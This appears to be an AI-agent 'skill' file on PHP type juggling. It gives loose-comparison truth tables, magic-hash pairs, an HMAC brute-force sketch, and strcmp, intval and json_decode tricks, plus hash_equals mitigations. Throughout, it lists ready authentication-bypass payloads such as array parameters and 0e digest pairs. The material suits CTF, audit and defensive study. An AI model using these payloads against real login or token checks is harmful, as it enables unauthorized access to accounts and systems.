type-juggling
SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
AI LOAD INSTRUCTION: PHP
==coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-stylestrcmp/json_decode/intvaltricks. Use strict routing: map the sink (==vshash_equals), PHP major version, and whether both operands are attacker-controlled. 中文路由:遇到 PHP 登录/签名/md5($_GET['x'])==md5($_GET['y'])类题目或代码,优先读本 skill;若已用hash_equals/===则本路径通常不成立。
0. QUICK START
First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
First-pass payloads (auth / token shape)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
Minimal PHP probes (local or php -r in lab)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
Routing hints
| 线索 | 下一步 |
|---|---|
源码里出现 == 比较密码、token、HMAC 结果 |
走 Section 1–3 |
md5($a) == md5($b) 或 sha1 松散比较 |
Section 2 魔法哈希 |
hash_hmac(...) != '0' 或和 "0" 比较 |
Section 3 |
strcmp、json_decode(..., true)、intval |
Section 5 |
1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS
PHP compares operands with type juggling unless you use === or hash_equals() for secrets.
1.1 Core examples (strings vs numbers)
| Expression | Result | Mechanism (short) |
|---|---|---|
'0010e2' == '1e3' |
true | Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”) |
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' |
true | Both parse as 0.0 in scientific notation |
'123a' == 123 |
true | String cast to int stops at first non-digit → 123 |
'abc' == 0 |
true (PHP 7.x and earlier) | Non-numeric string compared to int → string becomes 0 |
'' == 0 |
true | Empty string → 0 |
'' == false |
true | both “falsy” in loose rules |
false == NULL |
true | loose equality |
0 == false |
true | loose equality |
'' == 0 == false == NULL |
true (chain) | Each adjacent pair is true under == (''==0, 0==false, false==NULL) — classic “falsy” chain |
'0' == false |
true | String '0' is the only non-empty string that compares as false to boolean |
'php' == 0 |
false (PHP 8+) | PHP 8: non-numeric string no longer equals 0 |
1.2 PHP 5 vs 7 vs 8 (high-signal deltas)
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
|---|---|---|
0 == "foo" |
true (string → 0) | false |
String-to-number for "123a" |
Still truncates for (int) / numeric compare in many == paths |
Same idea for numeric strings; non-numeric vs int fixed as above |
md5([]) / sha1([]) |
May warn / NULL-like behavior in older patterns |
TypeError for wrong types — kills classic [] tricks unless error handling collapses to NULL |
Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
1.3 Safe alternative (defense / verification)
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;
2. MAGIC HASHES (0e… + digits only)
When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.
2.1 Reference table (MD5 / SHA-1 and longer algos)
| Algorithm | Example input | Digest (starts with 0e + all decimal digits) |
|---|---|---|
| MD5 | 240610708 |
0e462097431906509019562988736854 |
| MD5 | QNKCDZO |
0e830400451993494058024219903391 |
| SHA-1 | 10932435112 |
0e07766915004133176347055865026311692244 |
| SHA-224 | (brute-force / precomputed) | Example form: 0e + decimal digits only → == with another such string is true |
| SHA-256 | (brute-force / precomputed) | Same pattern: only strings matching ^0e\d+$ collide under == |
Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0 → true.
2.2 Exploit pattern in code
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}
2.3 Payload sketch (pair hunting)
?a=240610708&b=QNKCDZO
For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.
3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)
If logic uses loose inequality against a constant:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.
Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.
Example (MD5-style 0e digest for a numeric message)
| Concept | Example |
|---|---|
| Message type | Unix timestamp, incrementing id, millisecond clock |
| Timestamp brute-force pattern | Tutorials sometimes cite 1539805986 → 0e772967136366835494939987377058 as a magic-hash style example; md5('1539805986') does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches ^0e[0-9]+$) and always verify against the exact function + key in the target code. |
| Goal | Find $data such that hash_hmac('md5', $data, $key) matches ^0e[0-9]+$ |
| Note | Without knowing $key, you may still brute $data if algorithm/output are visible in a oracle; CTFs often leak or fix key |
# Conceptual: try many timestamps
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".
4. NULL JUGGLING (ARRAYS & TYPE ERRORS)
Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.
| Call | Typical PHP 7/8 behavior |
|---|---|
md5([]) |
PHP 8: TypeError; older: warnings / not reliable across versions |
sha1([]) |
Same |
| Idea | If error handler or custom wrapper converts failures to NULL, then NULL == NULL or NULL == sha1("x") if other side is also NULL |
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → true
Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.
5. CTF PATTERNS
5.1 strcmp / strcasecmp with arrays
strcmp([], "password"); // NULL in PHP 7/8 (invalid args)
// NULL == 0 → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)
Payload:
?p[]=1
5.2 intval bypass
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0); // → 26
// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2
5.3 json_decode + true for associative array auth
{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
5.4 is_numeric + loose compare
is_numeric("0e12345"); // true
"0e12345" == 0; // true (scientific notation → 0.0)
5.5 Deserialization + magic properties
Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.
6. DECISION TREE
+------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+
Tool references
| Tool | Use |
|---|---|
Local php CLI |
Reproduce == behavior for target major version |
| Static code review | Grep ==, != on crypto outputs; find missing hash_equals |
| CTF frameworks | Payload generators for magic hashes and 0e search |
Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.